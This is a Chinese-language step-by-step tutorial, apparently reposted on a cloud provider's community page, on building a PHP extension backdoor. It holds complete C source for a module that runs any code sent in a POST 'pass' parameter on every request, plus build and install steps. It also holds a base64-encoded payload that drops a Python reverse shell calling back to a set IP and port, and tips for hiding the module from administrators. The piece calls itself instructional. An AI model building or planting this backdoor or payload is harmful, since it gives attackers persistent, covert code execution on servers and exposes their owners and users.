手把手教你編寫一個簡單的PHP模組形態的後門

來源:互聯網
上載者:User

標籤:tmm   系統   pytho   示範   運行   多個   cgo   cal   data-   

看到Freebuf 小編髮表的用這個隱藏於PHP模組中的rootkit,就能持久接管伺服器文章,高度興趣,苦無作者沒留下PoC,自己研究一番,有了此文

0×00. 引言

PHP是一個非常流行的web server端的script語言.目前很多web應用程式都基於php語言實現。由於php是個開源軟體並易於擴充,所以我們可以通過編寫一個PHP模組(module 或者叫擴充 extension)來實現一個Backdoor。 本文就簡單介下如何一步步編寫一個簡單的php 動態擴充後門。

0×01. php 擴後門的簡單設計

出於教學目的,這個動態擴充後門的功能設計比較簡單:

1). 通過過濾使用者提交的特定變數來啟動Backdoor.

2). 直接執行使用者提交的php代碼.

對於1)中過濾使用者提交的變數有兩種方法

方法1:

修改SAPI的input_filter或者是treat_data.你可以是hook後再執行php的原始代碼,也可以直接替換原始函數 ,具體介紹,請參考《http://xfocus.net/articles/200705/920.html》

方法2:

    從php內建的數組裡擷取變數(即從php核心中擷取變數),這也是本文所要用到的方法

0×02. 開始編寫擴充後門代碼

結合0×01中php後門的設計,本文中要實現的後門功能為:

只要php解譯器載入了這個擴充,那麼對於每一次http POST 請求,這個擴充都會攔截,檢查一下是否有pass參數,如果有,則執行pass參數的值中的php代碼

本文用最快的(不是最標準的,標準的擴充一般還會單獨寫.h的標頭檔)的方式來建立一個簡單的php擴充,共計兩個檔案,一個是編譯設定檔config.m4, 一個是後門擴充源碼hacker.c

關於config.m4

config.m4檔案用於指定正在開發的擴充在類unix系統下構建時支援的選項,指定此擴充需要哪些庫以及哪些源檔案;使用 GNU autoconf (http://www.gnu.org/software/autoconf/manual/)文法編寫。 phpize 會根據config.m4的配置自動產生編譯相關檔案(如,就是我們常見的configure 之類的,然後就可以./configure && make &&make install)

1) config.m4 內容
    PHP_ARG_ENABLE(hacker, 0,0)      PHP_NEW_EXTENSION(hacker, hacker.c, $ext_shared)

就兩行,很簡單,這裡做個解釋

PHP_ARG_ENABLE 

含有有三個參數,

第1個參數是我們擴充的名字,這裡為hacker

第2個參數是我們運行./configure 指令碼時顯要指定示的內容,這裡沒有配置,即為0

第3個參數是我們在調用./configure –help 的 時候要指定顯示的協助資訊,這裡也沒有配置,為0

PHP_NEW_EXTENSION

 

PHP_NEW_EXTENSION(hacker, hacker.c, $ext_shared)

 

第1個參數是模組名字,這裡為hacker

第2個參數表示的是編譯模組需要的源檔案名稱 ,這裡為hacker.c

如果我們的擴充使用了多個檔案,便可以將這多個檔案名稱羅列在函數的參數裡,不同源檔案之間以空格隔開, 比如:

 

PHP_NEW_EXTENSION(sample, sample.c sample2.c sample3.c, $ext_shared)

 

第3個參數表示的是編譯的形式,這裡的$ext_shared參數用來聲明這個擴充不是一個靜態模組,而是在php運行時動態載入的。

2)後門擴充源碼hacker.c

    代碼比較簡單,主要有以下:

    zend_module_entry 結構體定義,必須   

    ZEND_GET_MODULE  編譯載入模組並返回zend_module_entry的指標,必須

    模組運行時函式宣告,標準的擴充都會在.h的都檔案中聲明,這裡就在.c的原始碼中一起聲明了

    模組運行時函數定義

    具體代碼:

    #include "php.h"      //模組運行時函式宣告    PHP_RINIT_FUNCTION(hacker);        //zend_module_entry 結構體定義    zend_module_entry hacker_module_entry = {    #if ZEND_MODULE_API_NO >= 20010901    STANDARD_MODULE_HEADER,    #endif        "hacker", //模組名,可以考慮用同形異義字, php -m 可以查詢到        NULL,   //匯出函數結構體hacker_functions,這裡設定為NULL        NULL,   //PHP_MINIT(hacker) 模組初始化,這裡沒有用到,設定為NULL        NULL,   //PHP_MSHUTDOWN(hacker) 模組清理, 這裡沒有用到,設定為NULL        PHP_RINIT(hacker), //運行時初始化,這裡用到了,下面會著重講解        NULL,              //PHP_RSHUTDOWN(hacker) 運行時清理,沒有用到,設定為NULL        NULL,             //PHP_MINFO(hacker)處理phpinfo中的模組資訊,沒有用到,設定為NULL        "1.0",           //模組版本        STANDARD_MODULE_PROPERTIES      };      #ifdef COMPILE_DL_HACKER    ZEND_GET_MODULE(hacker);    #endif    //模組運行時函數定義    //只要php解譯器載入了這個模組,每個php請求時,都執行該函數    PHP_RINIT_FUNCTION(hacker)    {            char* method = "_POST"; // 要過濾的變數,這裡為$_POST    ,因為一般情況下POST內容不被伺服器記錄        char* secret_string = "pass"; // 特定參數名,有點類似於菜刀的一句話密碼,根據參數名做到特定條件下觸發後門        zval** arr; //指向指標的指標        char* code;        //在全域範圍(&EG(symbol_table))下收縮$_POST 變數,找到之後將指標值賦給arr        if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) {             HashTable* ht = Z_ARRVAL_P(*arr);  //使用宏Z_ARRVAL_P擷取數組的值,因為$_POST是個數組            zval** val;            //在數組$_POST中尋找參數名為pass的值,如果找到,則將值賦給val            if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { // 搜尋hash表中期望的參數                code =  Z_STRVAL_PP(val); // 使用宏Z_STRVAL_PP找到的參數值                zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); //執行代碼,也即變數$_POST[pass]的值            }        }        return SUCCESS;    }

   代碼解釋補充

 

 #include "php.h"

 

   php.h, 位於PHP 主目錄。這個檔案包含了絕大部分 PHP 宏及 API 定義。編寫php擴充必備,需要安裝php開發庫,以centos7 php5.5 為例

 

yum install php5-devel

 

   zend_module_entry 是編寫php 動態載入模組必須註冊的一個結構體,hacker_module_entry是結構體名字,命名規範為:模組名_module_entry, 來解釋一下這個結構體:

 #if ZEND_MODULE_API_NO >= 20010901

        STANDARD_MODULE_HEADER,

       #endif

   依據ZEND_MODULE_API_NO 是否大於等於 20010901,這個結構體需要不同的定義格式。20010901大約代表PHP4.2.0版本,所以我們現在的擴充幾乎都要包含STANDARD_MODULE_HEADER這個元素了

   在php生命週期中,ZendEngine首先要初始化module,每個module中定義的PHP_MINIT_FUNCTION函數作為初始化代碼(ModuleInit)都會被執行一次,而PHP_RINIT_FUNCTION函數則是在每次頁面被請求的時候(RuntimeInit)都會執行一次。 因此對php函數的hook,設定php環境變數,對user input的過濾,都可以根據需要在這兩個函數中進行.本文擴充後門就是在RuntimeInit時候對變數進行hook。 然後在PHP_MSHUTDOWN_FUNCTION和PHP_RSHUTDOWN_FUNCTION中進行相應的清理.而作為Backdoor,PHP_MINFO_FUNCTION函數對我們則沒什麼必要,可以把這裡設定為NULL。

   有關Z_STRVAL_PP Z_STRVAL_P Z_STRVAL的解釋,請參考:http://m.php.cn/write/910.html

0×03. 測試1. 編譯環境:

 

  centos7 x64

  php5.4

 

  需事先安裝好phpize

2. 編譯後門

1) 先運行phpize,產生編譯設定檔

2)./configure && make && make test 

3) make install 

預設安裝在/usr/lib64/php/modules/, 當然你也可以用–prefix指定安裝目錄

3. 配置 php.ini,啟用後門

  重啟httpd服務

  使用php -m 查看是否模組載入成功

至此,php 擴充後門載入成功,下面就需要用戶端發送觸發代碼,觸發後門執行

4. 用戶端開始監聽,等待反彈

5. 用戶端發送惡意代碼觸發後門反彈shell

在github上找到一個php反彈後門代碼:

https://github.com/XiphosResearch/exploits/blob/master/LotusCMS/back_python.php

修改以下反彈IP和連接埠,然後在除去分行符號,再進行base64編碼,最後處理如下:

 

eval(base64_decode(‘CiRjYmhvc3QgPSAnMTAuMS4xMDAuMyc7IAokY2Jwb3J0ID0gJzMxMzM0JzsgCmVjaG8gInsrfSBVc2luZyAiLiRjYmhvc3QuIjoiLiRjYnBvcnQuIiBhcyBjYWxsYmFjay4uLlxueyt9IERyb3BwaW5nIHNoZWxsLi4uXG4iOwokc2hlbGwgPSAiSXlFdmRYTnlMMkpwYmk5d2VYUm9iMjR5Q2lNZ1kyOWthVzVuT2lCMWRHWXRPQW9qSUZObGJHWWdSR1Z6ZEhKMVkzUnBibWNzSUVSaFpXMXZibWx1WnlCU1pYWmxjbk5sSUZCVVdTNEtJeUJ5YlNkeklITmxiR1lnYjI0Z2NYVnBkQ0E2TXdvaklGUlBSRTg2Q2lNZ01Ub2dRV1JrSUdOeWVYQjBid29qSURJNklFRmtaQ0J3Y205amJtRnRaU0J6Y0c5dlpncHBiWEJ2Y25RZ2IzTUthVzF3YjNKMElITjVjd3BwYlhCdmNuUWdjSFI1Q21sdGNHOXlkQ0J6YjJOclpYUUthVzF3YjNKMElHTnZiVzFoYm1SekNncHphR1ZzYkcxelp5QTlJQ0pjZURGaVd6QnRYSGd4WWxzeE96TTJiVWR2ZENCeWIyOTBJSGxsZEQ5Y2VERmlXekJ0WEhKY2JpSWdJeUJ1WldWa2VpQmhjMk5wYVFvS1pHVm1JSEYxYVhSMFpYSW9iWE5uS1RvS0lDQWdJSEJ5YVc1MElHMXpad29nSUNBZ2IzTXVkVzVzYVc1cktHOXpMbkJoZEdndVlXSnpjR0YwYUNoZlgyWnBiR1ZmWHlrcElDTWdkVzVqYjIxdFpXNTBJR1p2Y2lCbmIyZHZjMlZzWm1SbGMzUnlkV04wQ2lBZ0lDQnplWE11WlhocGRDZ3dLUW9LWkdWbUlISmxkbVZ5YzJVb1kySm9iM04wTENCalluQnZjblFwT2dvZ0lDQWdkSEo1T2dvZ0lDQWdJQ0FnSUhWdVlXMWxJRDBnWTI5dGJXRnVaSE11WjJWMGIzVjBjSFYwS0NKMWJtRnRaU0F0WVNJcENpQWdJQ0FnSUNBZ2FXUWdQU0JqYjIxdFlXNWtjeTVuWlhSdmRYUndkWFFvSW1sa0lpa0tJQ0FnSUdWNFkyVndkQ0JGZUdObGNIUnBiMjQ2Q2lBZ0lDQWdJQ0FnY1hWcGRIUmxjaWduWjNKaFlpQjFibUZ0WlM5cFpDQm1ZV2xzSnlrS0lDQWdJSFJ5ZVRvS0lDQWdJQ0FnSUNCemIyTnJJRDBnYzI5amEyVjBMbk52WTJ0bGRDaHpiMk5yWlhRdVFVWmZTVTVGVkN3Z2MyOWphMlYwTGxOUFEwdGZVMVJTUlVGTktRb2dJQ0FnSUNBZ0lITnZZMnN1WTI5dWJtVmpkQ2dvWTJKb2IzTjBMQ0JwYm5Rb1kySndiM0owS1NrcENpQWdJQ0JsZUdObGNIUTZDaUFnSUNBZ0lDQWdjWFZwZEhSbGNpZ25ZV0p2Y25RNklHTnZibTVsWTNScGIyNGdabUZwYkNjcENpQWdJQ0IwY25rNkNpQWdJQ0FnSUNBZ2IzTXVaSFZ3TWloemIyTnJMbVpwYkdWdWJ5Z3BMQ0F3S1FvZ0lDQWdJQ0FnSUc5ekxtUjFjRElvYzI5amF5NW1hV3hsYm04b0tTd2dNU2tLSUNBZ0lDQWdJQ0J2Y3k1a2RYQXlLSE52WTJzdVptbHNaVzV2S0Nrc0lESXBDaUFnSUNCbGVHTmxjSFE2Q2lBZ0lDQWdJQ0FnY1hWcGRIUmxjaWduWVdKdmNuUTZJR1IxY0RJZ1ptRnBiQ2NwQ2lBZ0lDQjBjbms2Q2lBZ0lDQWdJQ0FnYjNNdWNIVjBaVzUyS0NKSVNWTlVSa2xNUlNJc0lDSXZaR1YyTDI1MWJHd2lLUW9nSUNBZ0lDQWdJRzl6TG5CMWRHVnVkaWdpVUVGVVNDSXNJQ2N2ZFhOeUwyeHZZMkZzTDNOaWFXNDZMM1Z6Y2k5elltbHVPaTl6WW1sdU9pOWlhVzQ2TDNWemNpOXNiMk5oYkM5aWFXNDZMM1Z6Y2k5aWFXNG5LUW9nSUNBZ1pYaGpaWEIwSUVWNFkyVndkR2x2YmpvS0lDQWdJQ0FnSUNCeGRXbDBkR1Z5S0NkaFltOXlkRG9nY0hWMFpXNTJJR1poYVd3bktRb2dJQ0FnZEhKNU9nb2dJQ0FnSUNBZ0lITnZZMnN1YzJWdVpDaHphR1ZzYkcxelp5a0tJQ0FnSUNBZ0lDQnpiMk5yTG5ObGJtUW9KMXg0TVdKYk1Uc3pNbTBuSzNWdVlXMWxLeUpjY2x4dUlpdHBaQ3NpWEhneFlsc3diVnh5WEc0aUtRb2dJQ0FnWlhoalpYQjBJRVY0WTJWd2RHbHZiam9LSUNBZ0lDQWdJQ0J4ZFdsMGRHVnlLQ2R6Wlc1a0lHbGtMM1Z1WVcxbElHWjFZMnQxY0NjcENpQWdJQ0IwY25rNkNpQWdJQ0FnSUNBZ2NIUjVMbk53WVhkdUtDY3ZZbWx1TDJKaGMyZ25LUW9nSUNBZ1pYaGpaWEIwSUVWNFkyVndkR2x2YmpvS0lDQWdJQ0FnSUNCeGRXbDBkR1Z5S0NkaFltOXlkRG9nY0hSNUlITndZWGR1SUdaaGFXd25LUW9nSUNBZ2NYVnBkSFJsY2lnbmNYVnBkSFJwYm1jc0lHTnNaV0Z1ZFhBbktRb0taR1ZtSUcxaGFXNG9ZWEpuY3lrNkNpQWdJQ0JwWmlCdmN5NW1iM0pyS0NrZ1BpQXdPaUFLSUNBZ0lDQWdJQ0J2Y3k1ZlpYaHBkQ2d3S1FvZ0lDQWdjbVYyWlhKelpTaHplWE11WVhKbmRsc3hYU3dnYzNsekxtRnlaM1piTWwwcENncHBaaUJmWDI1aGJXVmZYeUE5UFNBaVgxOXRZV2x1WDE4aU9nb2dJQ0FnYldGcGJpaHplWE11WVhKbmRpa0siOwokeCA9IGZvcGVuKCIvdG1wL3giLCAidysiKTsKZndyaXRlKCR4LCBiYXNlNjRfZGVjb2RlKCRzaGVsbCkpOwpmY2xvc2UoJHgpOwplY2hvICJ7K30gU2hlbGwgZHJvcHBlZC4uLiBUcmlnZ2VyaW5nLi4uXG4iOwpzeXN0ZW0oInB5dGhvbiAvdG1wL3ggIi4kY2Job3N0LiIgIi4kY2Jwb3J0KTsKZGllKCd7K30gZ290IHNoZWxsPycpOyAvLyBwYXlsb2FkIHNob3VsZCBoYXZlIHJtJ2QgaXRzZWxmCgo=‘));

 

 使用burpsuite 發送POST請求,參數為pass,值為上述eval(base64_decode 那一串值

成功反彈shell

0×04. 總結

本文所涉及的php 擴充後門是相對比較簡單的,只是為了示範教學之目的。

如果系統禁用了eval等函數,還需要通過在後門中加入模組初始化函數(PHP_MINIT_FUNCTION),動態修改php.ini以達到繞過disable_function的目的,另外,為了更好地隱藏自身,還需要在偽裝性上下點功夫,比如利用同形異義字欺騙使用者的眼睛,比如使得模組名不在php -m中顯示等,當然這是後話,希望後續能有這樣的文章出現。

參考:

 

http://www.gnu.org/software/autoconf/manual

http://www.cunmou.com/phpbook/2.5.md

http://www.cnblogs.com/beatzeus/p/6085366.html

http://www.cunmou.com/phpbook/5.1.md

http://www.cunmou.com/phpbook/17.3.md

https://github.com/ForrestX386/tcp_killer

http://php.webtutor.pl/en/2001/07/07/zend_get_module/

http://www.cnblogs.com/bqrm/archive/2012/10/12/2721440.html

http://m.php.cn/write/910.html

http://xfocus.net/articles/200705/920.html

手把手教你編寫一個簡單的PHP模組形態的後門

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.